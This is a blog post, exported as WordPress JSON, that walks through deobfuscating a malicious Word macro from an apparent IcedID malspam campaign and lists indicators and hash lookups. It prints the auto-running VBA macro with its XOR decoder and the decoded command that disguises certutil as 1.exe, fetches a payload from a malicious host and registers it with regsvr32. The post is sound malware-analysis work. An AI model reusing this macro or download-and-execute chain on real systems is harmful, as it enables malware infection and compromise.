{"id":1398,"date":"2020-08-02T03:34:49","date_gmt":"2020-08-02T02:34:49","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1398"},"modified":"2020-08-02T03:57:17","modified_gmt":"2020-08-02T02:57:17","slug":"2020-07-31-deobfuscating-icedid-macro-script","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1398","title":{"rendered":"2020-07-31 Deobfuscating IcedID Macro Script"},"content":{"rendered":"

Summary
\n=========
\nThis is just a quick writeup of how I managed to get the macro script decoded out of what appears to be an IcedID malspam campaign based on what I am seeing from URLHaus and this tweet<\/a> from @p5yb34m<\/a>.<\/p>\n

The link to the artifacts for this can be found at my Github here<\/a>.<\/p>\n

Analysis
\n=========
\nI am a huge fan of Philippe Lagadec’s<\/a> OleTools suite<\/a> for maldoc analysis (thanks for the awesome tools). So if I am not using OfficeMalScanner<\/a> on my Windows VM, then I am using olevba or one of the other tools in the OleTools suite. For this maldoc though, I started off using “olevba” right out the gate since I was more interested in seeing if I could deobfuscate the script more so than running it. The following is what I got when using the “–decode” and “–deobf” switches:<\/p>\n

\r\n$ olevba --decode --deobf 07.20.doc \r\nolevba 0.55.1 on Python 3.7.4 - http:\/\/decalage.info\/python\/oletools\r\n===============================================================================\r\nFILE: 07.20.doc\r\nType: OpenXML\r\nError: [Errno 2] No such file or directory: 'word\/vbaProject.bin'.\r\n-------------------------------------------------------------------------------\r\nVBA MACRO ThisDocument.cls \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/ThisDocument'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO e.bas \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/e'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\nFunction fd()\r\nfd = "c:\\programdata\\1.exe"\r\nEnd Function\r\nSub autoopen()\r\nKj = g("24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!73!13!13!30!1!1!67!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!21!14!31!24!77!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89")\r\nCall VBA.FileCopy(ActiveDocument.Shapes(1).Title, "c:\\programdata\\1.exe")\r\n\r\nDim TN As New WshShell\r\nCall TN.run(Kj, 0)\r\n\r\nEnd Sub\r\n-------------------------------------------------------------------------------\r\nVBA MACRO jX.bas \r\nin file: word\/vbaProject.bin - OLE stream: 'VBA\/jX'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \r\nFunction g(CU)\r\nVR = Split(CU, "!")\r\nFor w3 = 0 To UBound(VR)\r\n TM = TM & Chr(VR(w3) Xor 123)\r\nNext w3\r\ng = TM\r\nEnd Function\r\n+----------+--------------------+---------------------------------------------+\r\n|Type      |Keyword             |Description                                  |\r\n+----------+--------------------+---------------------------------------------+\r\n|AutoExec  |autoopen            |Runs when the Word document is opened        |\r\n|Suspicious|FileCopy            |May copy a file                              |\r\n|Suspicious|run                 |May run an executable file or a system       |\r\n|          |                    |command                                      |\r\n|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM\/XLF)|\r\n|Suspicious|Chr                 |May attempt to obfuscate specific strings    |\r\n|          |                    |(use option --deobf to deobfuscate)          |\r\n|Suspicious|Xor                 |May attempt to obfuscate specific strings    |\r\n|          |                    |(use option --deobf to deobfuscate)          |\r\n|IOC       |1.exe               |Executable file name                         |\r\n+----------+--------------------+---------------------------------------------+\r\n<\/pre>\n
Wow! Right out the gate the script is giving me the goods. So then it was all about understanding what the script did since. Since macros always start with the sub-routine of “autoopen()” I knew that is where I needed to start.<\/p>\n
Starting here I could see that the variable “Kj” was being assigned to whatever the outcome from the function ‘g’ and the long string with exclamation marks. It looks like this function is the one that is doing all the work. Let’s walk through this.<\/p>\n
– The function “g” is being passed the long string with exclamations marks.
\n– The variable “VR” is using the split function to basically remove all the exclamation marks out of the long string (passed via the “CU” argument) that is assigned to the variable “Kj.”
\n– Then there is a loop that starts at 0 (w3) and then uses Ubound<\/a> to find out how long the string (CU) is (if I recall this was 169) to act as the counter.
\n — It then walks through each value of the array declaring the values as a char value with a XOR key of “123.” This value then gets assigned to the variable called “TM.”
\n — It will continue to do this until the loop has finished. Once it finishes the loop, the variable TM will be the following:<\/p>\n
\r\ncmd \/c "set u=url&&call C:\\ProgramData\\1.exe \/%u%^c^a^c^h^e^ \/f^ http:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab C:\\ProgramData\\1.tmp && call regsvr32 C:\\ProgramData\\1.tmp"\r\n<\/pre>\n
– The variable “TM” then gets assigned to the variable “g” and the function is then done and control is passed back to the original function.<\/p>\n
As a side note. The part that took me a long time to get right was the CyberChef recipe for deobfuscating this. I am not sure what I was doing wrong but after some time it just kind of worked. You can find that recipe here<\/a>.<\/p>\n
Continuing on with the rest of this script…<\/p>\n
– The call function then calls the filecopy function<\/a> to take a file from a certain location (source) and copy it to the destination – in this case “c:\\programdata\\” as “1.exe.”
\n — The source of the file copy (ActiveDocument.Shapes(1).Title) looks to actually be defined via the alt-text located in the embedded image’s property menu found on the maldoc as seen below. This is actually pointing to the “c:\\windows\\system32\\certutil.exe” file. For more information about the shape object, please look here<\/a>. Granted I did find this by clicking around looking at the different property options for the image until I came across the alt-text property.<\/p>\n
\"\"<\/a><\/p>\n
Now looking at what the command line is doing. <\/p>\n
– A command shell proceeds to set the variable “u” to “url.”
\n– A call to the binary of 1.exe (really certutil.exe) using the switch of “\/urlcache \/f” which causes certutil to look at a cached URL and then proceed to force a fetch to the defined URL – in this case hxxp:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab.
\n — For more information about the different options with certutil, check out this link<\/a>.
\n– Download the cab file and save it as “1.tmp” and then register it as a DLL via regsvr32.<\/p>\n
Since the site was already down, I was not able to see what the rest of the infection chain looked like. Unfortunately the other sites that I found that had a match for the domain or hash of the Word doc didn’t have anything that I could see for the “1.tmp” file either so I am assuming that it was taken down by the time others saw it. <\/p>\n
Artifacts
\n============<\/p>\n
IOCs
\n——–
\nhxxp:\/\/2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab<\/p>\n
OSINT
\n——–
\nhttp:\/\/urlhaus.abuse.ch\/browse.php?search=2vvezz8.com<\/a>
\nhttp:\/\/www.hybrid-analysis.com\/search?query=2vvezz8.com<\/a><\/p>\n
File hashes
\n————–
\nbe40cf9fbf9bdde9a2898870a10e2f3028e44918abd9251300b984daaf2fdc2f — particulars 07.20.doc
\n1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3 — C:\\ProgramData\\1.exe<\/p>\n
Machinea
\n———-
\n********************************************************************************
\n* Information for be40cf9fbf9bdde9a2898870a10e2f3028e44918abd9251300b984daaf2fdc2f
\n* Observable type: hash.sha256 (Auto-detected: True)
\n********************************************************************************
\nNot seeing what you expect? Likely not a valid site. Try running with –list-sites
\n[+] VirusTotal File Report Results
\n    [-] Date submitted: 2020-07-31 15:26:49
\n    [-] Detected engines: 8
\n    [-] Total engines: 62
\n    [-] Scans: (‘Elastic’, ‘malicious (high confidence)’)
\n    [-] Scans: (‘NANO-Antivirus’, ‘Trojan.Ole2[.]Vbs-heuristic[.]druvzi’)
\n    [-] Scans: (‘SentinelOne’, ‘DFI – Malicious OPENXML’)
\n    [-] Scans: (‘Jiangmin’, ‘Trojan[.]BAT[.]Small.a’)
\n    [-] Scans: (‘TACHYON’, ‘Suspicious\/WOX[.]Obfus[.]Gen.2’)
\n    [-] Scans: (‘Zoner’, ‘Probably Heur.W97DownloaderA’)
\n    [-] Scans: (‘Ikarus’, ‘Trojan-Downloader[.]VBA[.]Agent’)
\n    [-] Scans: (‘Fortinet’, ‘VBA\/Agent[.]SNH!tr[.]dldr’)<\/p>\n
********************************************************************************
\n* Information for 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
\n* Observable type: hash.sha256 (Auto-detected: True)
\n********************************************************************************
\nNot seeing what you expect? Likely not a valid site. Try running with –list-sites
\n[+] VirusTotal File Report Results
\n    [-] Date submitted: 2020-07-09 05:12:30
\n    [-] Detected engines: 0
\n    [-] Total engines: 73<\/p>\n
********************************************************************************
\n* Information for 2vvezz8.com\/bolb\/jaent.php?l=nudc6.cab
\n* Observable type: fqdn (Auto-detected: True)
\n********************************************************************************
\nNot seeing what you expect? Likely not a valid site. Try running with –list-sites
\n[-] No URLVoid Results
\n[-] No URL Unshorten Results
\n[-] No Malc0de Results
\n[+] Fortinet Category Results
\n    [-] Fortinet URL Category: Malicious Websites
\n[-] No VirusTotal pDNS Results
\n[-] No Reputation Authority Results
\n[+] McAfee Threat Results
\n    [-] McAfee Web Risk: Minimal
\n    [-] McAfee Last Seen: 2020-08-02<\/p>\n
********************************************************************************
\n* Information for 2vvezz8.com
\n* Observable type: fqdn (Auto-detected: True)
\n********************************************************************************
\nNot seeing what you expect? Likely not a valid site. Try running with –list-sites
\n[-] No URLVoid Results
\n[-] No URL Unshorten Results
\n[-] No Malc0de Results
\n[+] Fortinet Category Results
\n    [-] Fortinet URL Category: Malicious Websites
\n[+] VirusTotal pDNS Results
\n    [-] pDNS data from VirusTotal: (‘2020-07-31’, ‘185[.]144.29.28’)
\n[-] No Reputation Authority Results
\n[+] McAfee Threat Results
\n    [-] McAfee Web Risk: Minimal
\n    [-] McAfee Last Seen: 2020-08-02<\/p>\n","protected":false},"excerpt":{"rendered":"
Summary ========= This is just a quick writeup of how I managed to get the macro script decoded out of what appears to be an IcedID malspam campaign based on what I am seeing from URLHaus and this tweet from @p5yb34m. The link to the artifacts for this can be found at my Github here. Analysis ========= I am a huge fan of Philippe Lagadec’s OleTools suite for maldoc analysis (thanks for the awesome tools). So if I am not using OfficeMalScanner on my Windows VM, then I am using olevba or one of the other tools in the OleTools…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[42,43],"class_list":["post-1398","post","type-post","status-publish","format-standard","hentry","category-code","tag-deobfusc","tag-icedid"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1398"}],"version-history":[{"count":9,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398\/revisions"}],"predecessor-version":[{"id":1408,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1398\/revisions\/1408"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}